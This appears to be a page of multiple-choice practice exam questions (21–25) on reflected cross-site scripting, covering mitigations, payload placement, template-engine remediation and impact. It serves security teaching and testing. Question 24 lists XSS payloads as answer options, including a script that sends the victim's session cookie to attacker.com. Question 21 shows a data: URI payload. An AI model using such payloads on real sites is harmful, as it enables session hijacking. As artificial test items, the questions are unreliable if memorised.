Reflected XSS WAHS Practice Questions (Page 5)

Questions 21–25

1. 21expert · hard

   A web application has a reflected XSS vulnerability in a 'redirect' parameter that is used to construct a URL for a client-side redirect. The application currently uses a blacklist that blocks 'javascript:' and 'script'. An attacker bypasses the blacklist by using 'data:text/html,<script>alert(1)</script>'. Which mitigation would be most effective?

   • AUse an allowlist of permitted redirect destinations, such as only relative paths or a specific set of domains.
   • BEncode the redirect parameter using URL encoding before using it in the redirect.
   • CUse a meta refresh tag instead of a JavaScript redirect.
   • DAdd 'data:' to the blacklist to block the specific payload used.
   Reveal Solution Discussion Select an answer first
2. 22foundation · easy

   In a typical reflected XSS attack, where is the malicious payload placed?

   • AIn the HTTP response body after being stored in a server-side database.
   • BIn a cookie that the server reads and includes in the response.
   • CIn the URL or other request parameters that the application reflects in the response.
   • DIn the HTTP header that the server echoes back without modification.
   Reveal Solution Discussion Select an answer first
4. 23expert · hard

   A development team is remediating a reflected XSS vulnerability in a legacy application. The application is built with a server-side template engine that automatically HTML-encodes variables. However, the vulnerability exists because a developer used the 'raw' filter to output a parameter without encoding. The team wants to fix the vulnerability while minimizing changes to the application's functionality. Which approach is most appropriate?

   • ARemove the 'raw' filter and rely on the template engine's default HTML encoding for that output.
   • BChange the parameter name to a less predictable value to make exploitation harder.
   • CImplement a WAF rule to block requests containing common XSS payloads.
   • DAdd a client-side JavaScript function to sanitize the parameter before it is displayed.
   Reveal Solution Discussion Select an answer first
5. 24application · medium

   An attacker is crafting a reflected XSS payload to steal a victim's session cookie. The application reflects the 'id' parameter in the response but does not set the HttpOnly flag on cookies. Which payload would be most effective?

   • A<script>console.log(document.cookie)</script>
   • B<script>document.location='http://attacker.com'</script>
   • C<script>alert('XSS')</script>
   • D<script>new Image().src='http://attacker.com/steal?c='+document.cookie;</script>
   Reveal Solution Discussion Select an answer first
6. 25application · medium

   A company's web application has a reflected XSS vulnerability in its search function. An attacker crafts a link that, when clicked, executes a script to send the user's session cookie to an attacker-controlled server. What is the most direct impact of this attack?

   • ADirect database modification to alter user records.
   • BSession hijacking, allowing the attacker to impersonate the victim.
   • CPermanent defacement of the web application's homepage.
   • DDenial of service by overwhelming the server with requests.
   Reveal Solution Discussion Select an answer first